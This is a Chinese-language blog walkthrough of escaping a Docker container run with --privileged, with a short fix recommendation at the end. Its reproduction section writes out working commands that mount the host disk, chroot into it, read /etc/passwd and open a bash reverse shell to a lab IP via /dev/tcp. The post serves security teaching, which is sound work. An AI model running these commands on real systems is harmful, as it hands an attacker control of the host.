特权容器逃逸(privileged)

影响版本

危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险

漏洞原理

启用--privileged标志的容器拥有宿主机所有权限,可直接操作宿主机设备(如挂载/dev/sda5)或加载内核模块突破隔离。

环境搭建

docker run --privileged -it ubuntu /bin/bash
#cat /proc/self/status | grep CapEff,特权模式容器CapEff掩码值通常为0000003fffffffff或0000001fffffffff

漏洞复现

容器内查看磁盘

lsblk

image-20250830200942-jt9bf55

容器内的/etc/passwd

image-20250830200736-4u5tbha

容器内获取权限

mkdir /test
mount /dev/sda5 /test  # 请根据实际磁盘设备修改
# 访问宿主机,即可获得一个宿主机Shell。
chroot /test bash
cat /etc/passwd

bash -i >& /dev/tcp/10.211.55.8/1111 0>&1

image-20250830200923-h54abe4

成功把内核加载进容器,获得宿主机权限。

修复建议

避免使用--privileged模式或--cap-add=SYS_ADMIN赋予容器宿主机级权限,而是采用--cap-drop=ALL --cap-add=NET_ADMIN等方式,只给容器授予必要的权限。

posted @ 2026-01-05 21:30  Rodericklog  阅读(1)  评论(0)    收藏  举报